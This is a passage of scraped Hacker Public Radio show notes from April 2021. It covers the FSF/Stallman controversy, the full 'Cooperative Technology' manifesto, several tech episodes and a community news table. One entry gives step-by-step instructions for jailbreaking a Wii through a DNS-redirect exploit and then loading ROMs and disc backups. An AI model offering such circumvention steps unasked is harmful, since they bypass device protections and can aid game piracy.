                                                            \n

                                                            \nI have always known that the FSF has good and hard-working staff, but with the success of LibrePlanet 2021, and in talking with staff during the controversy that unfolded immediately afterward, I have no doubt it is essential to involve staff much more in decision-making and strategy discussions. The advice they have offered in the last week alone has been invaluable. I sincerely believe this step in improving FSF governance will lead to better outcomes going forward. In all my interactions with Ian so far, he has demonstrated abundant wisdom and intelligence.\n

                                                            \n

                                                            \nKat Walsh announced her resignation from the board of directors last week and it became effective at the end of our board meeting on Sunday, March 28, 2021. Kat has been a great help in discussing difficult issues over the years. We appreciate the expert knowledge and service she gave us and offer Kat our best wishes and sincere thanks.\n

                                                            \n

                                                            \nThe FSF board will meet again on Monday, March 29, 2021.\n

                                                            \n
                                                            \n

                                                            Note: This show was submitted anonymously by Ken.

                                                            \n","hostid":393,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"FSF, RMS","version":0,"downloads":0,"valid":1}, {"id":3317,"date":"2021-04-20","title":"Reading a manifesto: Towards A Cooperative Technology Movement","duration":1015,"summary":"If open source misses the point of free software philosophy, what point is free software missing?","notes":"

                                                            Three good decades ago, Richard Stallman founded the free software movement and gave it a name.

                                                            \n

                                                            Two good decades ago there was a fork and Eric S. Raymond, Bruce Perens and others founded the open\nsource software movement, and neglected to tell us who gave it a name.\n(it was Christine Peterson[0])

                                                            \n

                                                            Ever since then, the free software side of the two movements has been careful to guard the boundary\nbetween the two, see Richard Stallman's essay \"Open Source Misses the Point\".[1]

                                                            \n

                                                            But lately a lot of people have increasingly been feeling that free software misses the point.\nIronically a lot of this has been coming from the open source side of things, as the official free\nsoftware philosophy has been firmly anchored with Stallman, and he hasn't been interested in moving\nhis philosophy in more inclusive directions.

                                                            \n

                                                            For sure, there are a lot of people in free software who have been wanting to go in this direction\nas well. I've been thinking of it as a \"free software plus\", as it builds on the free software\nphilosophy, but adds aspects of social responsibility. The fact that Stallman was forced to resign\nfrom being Free Software Foundation president two years ago was a sign that people inside free\nsoftware cared about more than just the code and what freedoms it gives the recipient.

                                                            \n

                                                            A month ago, if you are listening to this on April the 20th 2021,\na manifesto was published called \"Towards A Communal Software Movement\", and I'll get to\nthat in a minute. I mentioned the names of the drivers of the previous movements, but this author\nhas said \"I intentionally left authors' names out of it\"[2], and I think that makes sense. Part of the\nproblems with previous movements has been this Great Man of History fallacy, which may have kept\nthem focused and on track, but it has also held them back.

                                                            \n

                                                            The movement is young and has already changed names once as I was writing about it. The manifesto is\nnow \"Towards A Cooperative Technology Movement\", and I have updated the shownotes and my commentary\nto reflect that.

                                                            \n

                                                            https://misskey.de/notes/8k0igd5tcd

                                                            \n

                                                            I see the difference between free software and cooperative technology similarly as the difference\nbetween open source and free software.

                                                            \n

                                                            There are certainly people within open source and on the Open Source Initiative board that look\nfurther than just the license, and treat open source like just another brand name for free software.

                                                            \n

                                                            But at its core, the Open Source Definition is all about the licensing and that document is the\nshared common ground for all open source. People write code for different reasons and there's a\nlicense and contribution model that allow them to come together without those differences of purpose\ngetting too much in the way.

                                                            \n

                                                            So if the software and the license is \"what\" we're building, the philosophical documents of free\nsoftware provide the guidance on \"why\" we are building it: We want to get away from proprietary\nsoftware, we want to control our own computing, we want the freedoms to use, learn, modify and\nshare, etc. Free software is about our freedoms.

                                                            \n

                                                            So just like \"free\" is right there in the name, maybe the \"community\" in \"communal software\" or\nthe \"cooperative\" in \"cooperative technology\" is\nall about the \"who\": Who gets the freedom, who has the influence, who is affected.

                                                            \n

                                                            And again, lots of people in free software do care about community principles beyond code, care about\nsocial responsibility, but the shared baseline is the care for formal, technical and individual user\nfreedom: If you receive the code, you are allowed the technical rights to update the code, the\ncode or license should not restrict your freedoms, you, the recipient of the software, the hacker,\nthe code contributor. It says nothing about practical user freedom and it says nothing about the\ncommunity beyond the immediate user.

                                                            \n
                                                            \n

                                                            That was my commentary. Now let's read the manifesto.

                                                            \n

                                                            https://cooperativetechnology.codeberg.page/

                                                            \n
                                                            \n

                                                            Before I saw the manifesto, I had written a draft list of aspects beyond licensing and contribution\nthat determine the social good of your project:\nhttps://libranet.de/display/0b6b25a8-3060-61f6-28df-cae554943983

                                                            \n

                                                            The conversations that led directly to the creation of the manifesto:\nhttps://social.polymerwitch.com/@polymerwitch/105934078911643041\nhttps://fosstodon.org/@be/105952735879246194

                                                            \n

                                                            [0] https://opensource.com/article/18/2/coining-term-open-source-software

                                                            \n

                                                            [1] https://www.gnu.org/philosophy/open-source-misses-the-point.en.html

                                                            \n

                                                            [2] https://fosstodon.org/@be/105952960559032774

                                                            \n
                                                            \n

                                                            Towards A Cooperative Technology Movement

                                                            \n

                                                            In response to the surprise, undemocratic reinstatement of Richard Stallman to the board of directors of the Free Software Foundation after his resignation in September 2019, the Free and Open Source Software movement is in the midst of a reckoning.\nThe authors of this document recognize and honor the contributions Richard Stallman has made to this movement while unequivocally condemning his harmful behavior which has pushed many capable, dedicated people away from the movement.

                                                            \n

                                                            Regardless of what happens in the Free Software Foundation, we believe it is time to reflect on the shortcomings of our advocacy so we can grow into a more effective and inclusive movement for justice.\nTowards this end, we believe the movement will benefit from new terminology to describe what we do and what we aim for.\nRichard Stallman authored the free software definition in 1986.\nThis term has always created difficulties communicating the ideas behind it because of the different meanings of the word \"free\" in English.\nMoreover, it is not the freedom of machines we are concerned with, but the freedom of humans.\nIn response to this and other issues, in 1998, the term open source was promoted using an adapted version of the Debian Free Software Guidelines.\nThe history of computing in the past 23 years have validated critiques that the term \"open source\" is insufficient for communicating the values behind it.\nThe term \"open source\" and the ecosystem of Free and Open Source Software (FOSS) is today used by powerful companies, governments, and other institutions to harm people on enormous scales through surveillance and violence.\nThese institutions use FOSS to minimize economic costs by benefitting from decades of work done by others, much of which was done by unpaid volunteers motivated by curiosity, passion, and the ideals of the FOSS movement.

                                                            \n

                                                            We believe a significant reason for the failures of both \"free software\" and \"open source\" to prevent this cooptation is that the men who coined and initially promoted these terms did not and do not critique capitalism.\nRichard Stallman has generally dodged the question of whether free software is opposed to capitalism.\nIn the historical context of the United States in the 1980s, that may have been a wise decision.\nBut that was then, and now it is 2021.\nThe promoters of \"open source\" emphasize its compatibility with capitalism and go out of their way to distance \"open source\" from critiques of capitalism.\nWe believe we need to build on the FOSS movement with an explicitly anticapitalist political movement which proactively collaborates with other movements for justice.

                                                            \n

                                                            We propose the term \"cooperative technology\" for this movement.\nBy \"cooperative technology\", we mean technology that is constructed by and for the people whose lives are affected by its use.\nWhile this builds on the Free and Open Source Software movement, we aim to apply the same principles to hardware as well, although the criteria by which we evaluate hardware and software will of course not be identical.\nIt is not sufficient to narrowly focus on the people who directly interact with computers.\nCooperative software which is run on a server should not be controlled solely by the administrator of the server, but also by the people who interact with the server over a network.\nSimilarly, the data generated by the technology and the data which it requires to function should be in the control of the people who are affected by the technology.\nCooperative software that uses cameras should not be controlled solely by the people who own the cameras, but also the people who are observed by the cameras.\nCooperative electronic medical record systems should not be designed for the interests of insurance companies or hospital administrators, but for the interests of patients and the clinicians who directly use it.

                                                            \n

                                                            We aim for a world in which all technology is cooperative technology and recognize that any amount of proprietary technology is in conflict with this goal.\nAs an anticapitalist movement, we recognize that any institution which motivates people to put money, power, or self-interest above the welfare of humans is in conflict with our goals.\nCorporations are beholden to their shareholders who can hold the corporation legally liable for spending money in a way that is not intended to further enrich the shareholders.\nOther capitalist forms of enterprise have similar problems, incentivizing the profit of an elite few over the impact their activities have on others.

                                                            \n

                                                            We are not opposed to exchanges of money being involved in the creation or distribution of software or hardware.\nHowever, we should carefully consider the motivational structures of the institutions which fund technology development.\nWho benefits from the technology and who determines the priorities of its development and design?\nThese are questions we ask about technology whether money is involved or not.\nIt is in our interest to use safeguards to ensure that technology always remains controlled by the community which develops and uses it.\nCopyleft is one such safeguard, but it is insufficient on its own to prevent cooptation of our movement.\nAny cooperative technology project that receives funding from a for-profit enterprise must institute governance structures which prioritize community interests over profit in case there is a conflict between the two.\nWe oppose business models which are in conflict with community interests such as \"open core\"/proprietary relicensing.

                                                            \n

                                                            Similarly, we are opposed to authoritarian and hierarchical governance structures of technology projects such as \"benevolent dictators for life\".\nCooperative technology is developed democratically; no single individual should have ultimate authority in cooperative projects.\nWhile we recognize the need for leadership and private communication, discussions regarding cooperative technology should take place in public unless there is a specific reason for communications to be private.\nOrganizations which advocate for cooperative technology should likewise operate democratically and transparently.

                                                            \n

                                                            We recognize that creating high quality technology requires much more than engineering skills.\nCooperative technology is not only for people who have the skills of writing code (unless the software is for writing code such as a compiler) nor the skills to design hardware.\nCooperative technology strives to be easy to use, including for people with disabilities, and acknowledges that this is best accomplished by continual dialog between engineers and users.\nProviding such feedback is a valuable way to contribute to the construction of cooperative technology without needing engineering skills.\nIdeally, the engineers of the technology should also be using it themselves.\nMoreover, there are many ways to contribute to cooperative technology without programming skills such as imagining ideas for new features, reporting bugs, writing documentation, graphic design, translation, promotion, and financial support.

                                                            \n

                                                            The free software movement has failed to create a world in which humans in technological societies can live without using proprietary software unless one chooses to live the ascetic lifestyle of Richard Stallman.\nExpecting people to not use any proprietary technology and judging people for not meeting this standard pushes people away from our movement.\nPeople who are coerced into using proprietary technology deserve our empathy and invitation into our movement, not condescension.\nLet us criticize institutions which pressure people into using proprietary technology, not the people who choose to use it.\nTo that end, we strive to use cooperative technology tools as much as possible in our efforts to build cooperative technology.

                                                            \n

                                                            The purpose of this document is not to proclaim a legalistic set of criteria for determining what technology is cooperative and what technology is not.\nHistory has demonstrated that this is not an effective political tactic for the reasons explained above.\nThe free software definition and the open source definition are useful criteria for evaluating copyright licenses for code, but an effective political movement cannot be so narrowly focused on legalistic and binary judgements of copyright licenses to judge whether certain technology aligns with our goals.\nWe believe the focus of the cooperative technology movement should be on the practical impacts that the use of technology has on humans and the universe we inhabit.\nThe scope of this extends beyond humans and must consider the environment around us.\nMoreover, we believe it is counterproductive to have a small self-appointed group of privileged men determine what our movement's terminology, goals, and tactics are.\nWe encourage anyone interested in building a better world through technology to engage in discussions with your own communities about what you want \"cooperative technology\" to mean.

                                                            \n

                                                            While we agree with the Ethical Software Movement that we must resist when our efforts are coopted for unjust purposes, we reject putting restrictions on the ways people may use software through copyright licenses as a wise tactic for achieving our goals.\nThe history of the Free and Open Source Software movement has shown that the proliferation of incompatible copyright licenses which prohibit software from being legally combined creates more obstacles than opportunities for our movement.\nAny new copyright licenses for use with cooperative software must be written with this consideration in mind to intentionally avoid fracturing the software ecosystem.\nAdopting incompatible copyright licenses for different software would make it easy for our adversaries to divide and suppress the movement.

                                                            \n

                                                            Language is constructed collectively and is always evolving.\nIt is counterproductive to our movement to refuse to collaborate with people because they use the words \"open source\" or \"free software\" to describe their work.\nThey may even disagree with the entire premise of this document.\nThat does not mean we should not work together towards shared goals, but we should be conscious that our goals may not perfectly align and this may cause tension in our communities from time to time.\nWe invite anyone to collaborate with us who is interested in building a better world and treats us and others in our communities with dignity and respect.

                                                            \n

                                                            This document is licensed under the CC0 license. Contributions are welcome on Codeberg. If you disagree with parts of this, feel free to fork it and say what you want to say.

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-0","tags":"open source, free software, communal software, cooperative technology, politics, philosophy","version":0,"downloads":0,"valid":1}, {"id":3318,"date":"2021-04-21","title":"Modding a Wii classic with a DNS exploit","duration":457,"summary":"Modding a Wii with a DNS exploit and using a USB drive to save games","notes":"
                                                              \n
                                                            1. Wii Options > Wii Settings
                                                            2. \n
                                                            3. Verify version is 4.3\n
                                                                \n
                                                              • If not,
                                                              • \n
                                                              • Is the Wii connected to the internet
                                                              • \n
                                                              • If not, go to Connection Settings\n
                                                                  \n
                                                                • Pick Connection 1
                                                                • \n
                                                                • Enter wifi connection info
                                                                • \n
                                                                • perform Wii System Update (Page 3 of Wii Settings)
                                                                • \n
                                                              • \n
                                                            4. \n
                                                            5. Wii Settings > Internet\n
                                                                \n
                                                              • Go to Change Settings
                                                              • \n
                                                              • A few pages over is Auto-Obtain DNS\n
                                                                  \n
                                                                • Select No and Advanced Settings
                                                                • \n
                                                                • Enter Primary DNS: 97.74.103.14
                                                                • \n
                                                                • Enter Secondary DNS: 173.201.71.14
                                                                • \n
                                                              • \n
                                                              • Confirm and Save Settings
                                                              • \n
                                                              • Press Ok to perform Connection Test
                                                              • \n
                                                              • This does take a while, be patient because the Wii is slow
                                                              • \n
                                                              • Go back a couple of pages to Internet Settings
                                                              • \n
                                                              • Go to User Agreements\n
                                                                  \n
                                                                • Would you like to use the Wii Shop Channel and WiiConnect24?
                                                                • \n
                                                                • Select Yes
                                                                • \n
                                                                • You must review the User Agreements before using the Wii network services.
                                                                • \n
                                                                • Select Next
                                                                • \n
                                                                • Connecting to Internet... Please wait a moment.
                                                                • \n
                                                                • Another screen will appear with message to \"Please wait, this will take 1-2 minutes.\"\n
                                                                    \n
                                                                  • Do NOT press I Accept at this point, or it will go to the previous screen.
                                                                  • \n
                                                                  • These next two screens will show up, one with console text, which is the exploit, and the next look like static. This is ok
                                                                  • \n
                                                                  • The next screen is a message not to be scammed by buying a copy of HackMii. Wait for the option to press '1' to continue.
                                                                  • \n
                                                                  • The HackMii menu will now appear, press 'A' to continue.
                                                                  • \n
                                                                  • On the HackMii installer screen, use the D-pad on the Wii to arrow up to Install The HomeBrew Channel.
                                                                  • \n
                                                                • \n
                                                              • \n
                                                              • At this point the Wii can be powered off.
                                                              • \n
                                                            6. \n
                                                            7. Install Wii Homebrew Browser https://oscwii.org/\n
                                                                \n
                                                              • I have read that a 2gb non-hd sd card was needed, but found that up to a 32gb card works just fine.
                                                              • \n
                                                              • Remove the sd card and download and extract the zip file on the main page.
                                                              • \n
                                                              • Move the folder on the root of the sd card (i.e. apps/homebrew_browser/).
                                                              • \n
                                                              • More applications can now be accessed from the Homebrew Browser.
                                                              • \n
                                                            8. \n
                                                            9. Adding roms (i.e. Nintendo 64 games)\n
                                                                \n
                                                              • From the Homebrew Browser, add the not64 emulator, as the Wii64 would not save games for me. This is an updated version of the Wii64 emulator.
                                                              • \n
                                                              • At the root of the sd card, if it is not already there, create a not64/roms folder and place the roms in here.
                                                              • \n
                                                            10. \n
                                                            11. Play Wii games from a USB drive\n
                                                                \n
                                                              • First need to install cIOS (custom OS)\n
                                                                  \n
                                                                • Will be installing:\n
                                                                    \n
                                                                  • cIOS 249 base 56 v10 beta52, some guides say cIOS 249 base 56 beta52-alt, YMMV.
                                                                  • \n
                                                                  • cIOS 250 base 57 v10 beta52
                                                                  • \n
                                                                • \n
                                                              • \n
                                                              • From the Homebrew Browser, go to the Utilities tab and install USBLoader and the d2x cIOS installer.
                                                              • \n
                                                              • Wait for the app to load.
                                                              • \n
                                                              • You will see the main screen, press A\n
                                                                  \n
                                                                • Change the following:\n
                                                                    \n
                                                                  • cIOS to v10 beta 52 d2x-v10-beta52-alt
                                                                  • \n
                                                                  • base to 56
                                                                  • \n
                                                                  • slot to 249
                                                                  • \n
                                                                  • revision to 65535
                                                                  • \n
                                                                • \n
                                                                • Press A to load these values
                                                                • \n
                                                              • \n
                                                              • The app will go back to the main screen, just go right back into the app.\n
                                                                  \n
                                                                • Change the following:\n
                                                                    \n
                                                                  • cIOS to v10 beta 52 d2x-v10-beta52
                                                                  • \n
                                                                  • base to 57
                                                                  • \n
                                                                  • slot to 250
                                                                  • \n
                                                                  • revision to 65535
                                                                  • \n
                                                                • \n
                                                                • Press A to load these values
                                                                • \n
                                                              • \n
                                                              • You are now ready to format the external USB drive\n
                                                                  \n
                                                                • This can be either FAT32 or ext4
                                                                • \n
                                                                • Plug in the USB drive afterwards and load the USBloader
                                                                • \n
                                                                • It only works in one USB slot, so if this is not recognized the first time, move the plug to the other slot.
                                                                • \n
                                                                • Now you can save games from Wii disks, or load roms from the same drive
                                                                • \n
                                                                • Roms are placed at the root of the USB drive with the format of /roms/
                                                                • \n
                                                              • \n
                                                            12. \n
                                                            13. That's all.
                                                            14. \n
                                                            \n

                                                            Sources:

                                                            \n\n

                                                            More reading

                                                            \n\n\n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"games, wii console","version":0,"downloads":0,"valid":1}, {"id":3319,"date":"2021-04-22","title":"Linux Inlaws S01E28: Politicians and artificial intelligence part 1","duration":4023,"summary":"Part 1 of a miniseries on AI, ML, DL and other fun","notes":"

                                                            In this episode, our two heroes explore the realm of artificial intelligence, paying special attention to deep learning (hoping that some\nof the stuff may rub on them :-). In this first part of a three-part mini-series the chaps discuss the foundation including networks, neurons\nand other topics of advanced black magic, carefully avoiding the temptations of introducing too much maths (we'll leave this to the Grumpy Old Coders :-).

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Policitians, artificial intelligence, deep learning, convolutions","version":0,"downloads":0,"valid":1}, {"id":3320,"date":"2021-04-23","title":"YouTube Channels for Learning Spanish, Part 2","duration":873,"summary":"My reviews of some YouTube channels offering free Spanish language lessons.","notes":"

                                                            As I have been learning Spanish I have been making use of a variety of tools and aids. One of the best is YouTube, where there is a wealth of free stuff. Of course, Spanish is not the only language with good resources here, but it is the one I am studying right now. But if you are interested in learning another language, or improving your knowledge of one, you should take a look. This is the second part covering some additional channels

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":116,"explicit":0,"license":"CC-BY-SA","tags":"Spanish, Language learning, YouTube","version":0,"downloads":0,"valid":1}, {"id":3321,"date":"2021-04-26","title":"DNS66 URANDOM RANDOM","duration":1911,"summary":"I talk about D N S 66 and go over some comments from Urandom episode ","notes":"\n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"block ads,ads,android,youtube,media,streaming","version":0,"downloads":0,"valid":1}, {"id":3322,"date":"2021-04-27","title":"Tune system performance with tuned","duration":1361,"summary":"Introduction to tuned and tuned-adm","notes":"

                                                            \nThe tuned-adm command switches profiles to help you fine-tune your Linux system's performance.\n

                                                            \n\n

                                                            \nFor more about performance, see Powertop Linuxcon 2015 presentation and maybe listen to my GNU World Order episode\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux","version":0,"downloads":0,"valid":1}, {"id":3323,"date":"2021-04-28","title":"The alternate Internet you never knew existed","duration":1757,"summary":"I changed my DNS server and you won't believe what happened next.","notes":"

                                                            \nA not-brief introduction to OpenNIC, the open and democratic domain name and number registry.\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ICANN, IANA, DNS","version":0,"downloads":0,"valid":1}, {"id":3324,"date":"2021-04-29","title":"Infosec Podcasts Part 1 News and Current Events ","duration":438,"summary":"Presenting my favorite information security news and current events podcasts","notes":"

                                                            Inoffensive in every region of the world

                                                            \n

                                                            Hello, again. This is Trey. This is part 1 of a 6 part series related to information security podcasts.

                                                            \n

                                                            Why am I recording this series?

                                                            \n

                                                            \"What podcasts you listen to\" was on the list of recommended topics

                                                            \n

                                                            I am passionate about information security

                                                            \n

                                                            We desperately need people to fill infosec jobs in many different specialties

                                                            \n

                                                            Infosec is a rapidly changing field, and it is critical to stay current

                                                            \n

                                                            As a result I listen to TONS of infosec related podcasts

                                                            \n

                                                            Because there are so many podcasts to list, I will break them down into 6 different episodes based on topics:

                                                            \n
                                                              \n
                                                            • Part 1 – News & Current Events
                                                            • \n
                                                            • Part 2 – General Information Security
                                                            • \n
                                                            • Part 3 - Career & Personal Development
                                                            • \n
                                                            • Part 4 – Social Engineering
                                                            • \n
                                                            • Part 5 -\n
                                                                \n
                                                              • Hacks & Attacks
                                                              • \n
                                                              • Technical Information & Learning
                                                              • \n
                                                              • Infosec Community / Social / History
                                                              • \n
                                                            • \n
                                                            • Part 6 – Infosec Leadership
                                                            • \n
                                                            \n

                                                            Part 1

                                                            \n

                                                            Infosec News / current events podcasts – Why?

                                                            \n

                                                            Stay aware of what is happening for your own personal growth

                                                            \n

                                                            If you already work in IT or Infosec, you can have early awareness about attacks to look for indicators of compromise, or learn new tools and techniques

                                                            \n

                                                            You can get a head start answering questions from leadership, when they ask about something they heard on the news or from a peer.

                                                            \n
                                                              \n
                                                            • SANS Internet Stormcenter Stormcast - Dr. Johannes Ullrich (Daily M-F)
                                                              \nThe latest Cybersecurity news
                                                              \nhttps://isc.sans.edu/podcast.html

                                                            • \n
                                                            • Cyber Security Headlines (Daily M-F)
                                                              \nDaily podcast with the latest Cybersecurity news
                                                              \nCaps off Friday with a weekly review
                                                              \nhttps://cisoseries.com/category/podcast/cyber-security-headlines/
                                                              \n

                                                            • \n
                                                            • The Cyberwire - Dave Bitner (Daily M-F – Drops in afternoon)
                                                              \nDaily podcast with the latest Cybersecurity news
                                                              \nhttps://thecyberwire.com/podcasts

                                                            • \n
                                                            • Shared Security Show – Tom Eston, Scott Wright, & Kevin Johnson (Weekly)
                                                              \nNews, tips, advice, and interviews with cybersecurity professionals and privacy experts.
                                                              \nhttps://sharedsecurity.net/

                                                            • \n
                                                            • Transatlantic Cable Podcast – Sponsored by Kaspersky with Jeff Esposito & David Buxton (Weekly)
                                                              \nA weekly infosec news discussion
                                                              \nhttps://www.kaspersky.com/blog/kaspersky-transatlantic-podcast/

                                                            • \n
                                                            • Security Now- Steve Gibson, Leo Laporte (Weekly)
                                                              \nPart of the TWIT TV Network
                                                              \nSteve Gibson, the man who coined the term spyware and created the first anti-spyware program, creator of Spinrite and ShieldsUP, discusses the hot topics in security today.
                                                              \nSpinrite has helped me salvage many a hard drive over the last few decades. I'm a big fan of Steve Gibson
                                                              \nDoes a great job of simplifying technical topics.
                                                              \nhttps://twit.tv/shows/security-now

                                                            • \n
                                                            • The Security Ledger – Paul Roberts (Weekly)
                                                              \nA weekly podcast mixing news and interviews
                                                              \nhttps://securityledger.com/

                                                            • \n
                                                            • Risky Business podcast - Patrick Gray and Adam Boileau (Weekly)
                                                              \nDiscusses the week's security news from the Land Down Under.
                                                              \nAlso includes periodic vendor interviews.
                                                              \nSometimes the discussion may get a bit political.
                                                              \nhttps://risky.biz/

                                                            • \n
                                                            \n

                                                            I hope that this episode has introduced you to some new sources of information. Give some of them a try, and I would love to get your feedback.

                                                            \n

                                                            Thank you for listening.

                                                            \n","hostid":394,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"infosec, podcasts, security","version":0,"downloads":0,"valid":1}, {"id":3325,"date":"2021-04-30","title":"Games and rules","duration":1499,"summary":"Talking about the conundrum of rules-light and rules-heavy game systems","notes":"

                                                            There are three nodes. You can choose two.\n

                                                            \n\n
                                                            \n\n         o Rules\n        / \\\n       /   \\\nTrust ó-----ò Competition\n\n
                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"rpg,rules,game","version":0,"downloads":0,"valid":1}, {"id":3326,"date":"2021-05-03","title":"HPR Community News for April 2021","duration":4825,"summary":"HPR Volunteers talk about shows released and comments posted in April 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Anonymous Host, \n Trey.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3304Thu2021-04-01Newsflash 21/01/04Anonymous Host
                                                            3305Fri2021-04-02Nagios part 2norrist
                                                            3306Mon2021-04-05HPR Community News for March 2021HPR Volunteers
                                                            3307Tue2021-04-06Git worktreeklaatu
                                                            3308Wed2021-04-07let's talk about ThunderbirdSome Guy On The Internet
                                                            3309Thu2021-04-08Linux Inlaws S01E27: The Big Uncertainties in Life and beyondmonochromec
                                                            3310Fri2021-04-09Layer MasksAhuka
                                                            3311Mon2021-04-12Bradley M. Kuhn's article from 2019 on Richard M. StallmanAnonymous Host
                                                            3312Tue2021-04-13COVID DoldrumsDave Morriss
                                                            3313Wed2021-04-14Zoom UpdateToeJet
                                                            3314Thu2021-04-15Introduction... A little bit about meTrey
                                                            3315Fri2021-04-16tesseract optical character recognitionKen Fallon
                                                            3316Mon2021-04-19FSF and RMS on election of Richard StallmanAnonymous Host
                                                            3317Tue2021-04-20Reading a manifesto: Towards A Cooperative Technology Movementclacke
                                                            3318Wed2021-04-21Modding a Wii classic with a DNS exploitArcher72
                                                            3319Thu2021-04-22Linux Inlaws S01E28: Politicians and artificial intelligence part 1monochromec
                                                            3320Fri2021-04-23YouTube Channels for Learning Spanish, Part 2Ahuka
                                                            3321Mon2021-04-26DNS66 URANDOM RANDOMoperat0r
                                                            3322Tue2021-04-27Tune system performance with tunedklaatu
                                                            3323Wed2021-04-28The alternate Internet you never knew existedklaatu
                                                            3324Thu2021-04-29Infosec Podcasts Part 1 News and Current Events Trey
                                                            3325Fri2021-04-30Games and rulesklaatu
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3291\n(2021-03-15) \"The New Audacity and Batch Processing Macros\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nbrother mouse on 2021-04-04:\n\"audacity batch\"

                                                              \n
                                                            • hpr3296\n(2021-03-22) \"Spam Bot Honey Pot\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nrtsn on 2021-04-13:\n\"nice\"

                                                              \n
                                                            • hpr3301\n(2021-03-29) \"K S P Kerbal Space Program! (Game)\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nAaronb on 2021-04-17:\n\"Have you seen xkcd about Kerbal\"

                                                              \n
                                                            • hpr3303\n(2021-03-31) \"Slackware on RaspberryPi\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nZen_floater2 on 2021-04-01:\n\"Bravo\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 21 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr3305\n(2021-04-02) \"Nagios part 2\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-04-05:\n\"Adding my endorsement\"

                                                              \n
                                                            • hpr3308\n(2021-04-07) \"let's talk about Thunderbird\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenry on 2021-04-09:\n\"Got some good tips ... thank you\"

                                                              \n
                                                            • hpr3311\n(2021-04-12) \"Bradley M. Kuhn's article from 2019 on Richard M. Stallman\"\nby Anonymous Host.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2021-04-12:\n\"bravery\"
                                                              • Comment 2:\nKen Fallon on 2021-04-13:\n\"Long history of supporting anonymous posts\"
                                                              • Comment 3:\nReto on 2021-04-13:\n\"RMS\"
                                                              • Comment 4:\nKen Fallon on 2021-04-14:\n\"Interview with RMS/FSF ?\"
                                                              • Comment 5:\nKen Fallon on 2021-04-14:\n\"Interview with RMS/FSF ? - links\"
                                                              • Comment 6:\nBeeza on 2021-04-14:\n\"Richard Stallman\"
                                                              • Comment 7:\nTorao on 2021-04-16:\n\"Stallman\"
                                                              • Comment 8:\nCfish on 2021-04-19:\n\"The responsibility of leadership\"

                                                              \n
                                                            • hpr3317\n(2021-04-20) \"Reading a manifesto: Towards A Cooperative Technology Movement\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2021-04-02:\n\"Errata\"
                                                              • Comment 2:\nCfish on 2021-04-20:\n\"Great show\"
                                                              • Comment 3:\nKevin O'Brien on 2021-04-22:\n\"Fantastic show!!!\"
                                                              • Comment 4:\nclacke on 2021-04-28:\n\"A season for manifestos\"
                                                              • Comment 5:\nKevin O'Brien on 2021-04-29:\n\"Keep it up\"

                                                              \n
                                                            • hpr3318\n(2021-04-21) \"Modding a Wii classic with a DNS exploit\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-04-21:\n\"sdcard and a usbstick\"
                                                              • Comment 2:\narcher72 on 2021-04-22:\n\"Re: sdcard and a usbstick\"

                                                              \n
                                                            • hpr3319\n(2021-04-22) \"Linux Inlaws S01E28: Politicians and artificial intelligence part 1\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-04-23:\n\"AI is misleading AP would be better\"

                                                              \n
                                                            • hpr3320\n(2021-04-23) \"YouTube Channels for Learning Spanish, Part 2\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAaronb on 2021-04-26:\n\"Listening to Twit podcasts\"

                                                              \n
                                                            • hpr3321\n(2021-04-26) \"DNS66 URANDOM RANDOM\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nThaj on 2021-04-26:\n\"Mission accomplished\"

                                                              \n
                                                            • hpr3324\n(2021-04-29) \"Infosec Podcasts Part 1 News and Current Events \"\nby Trey.
                                                            • \n
                                                            • \n
                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

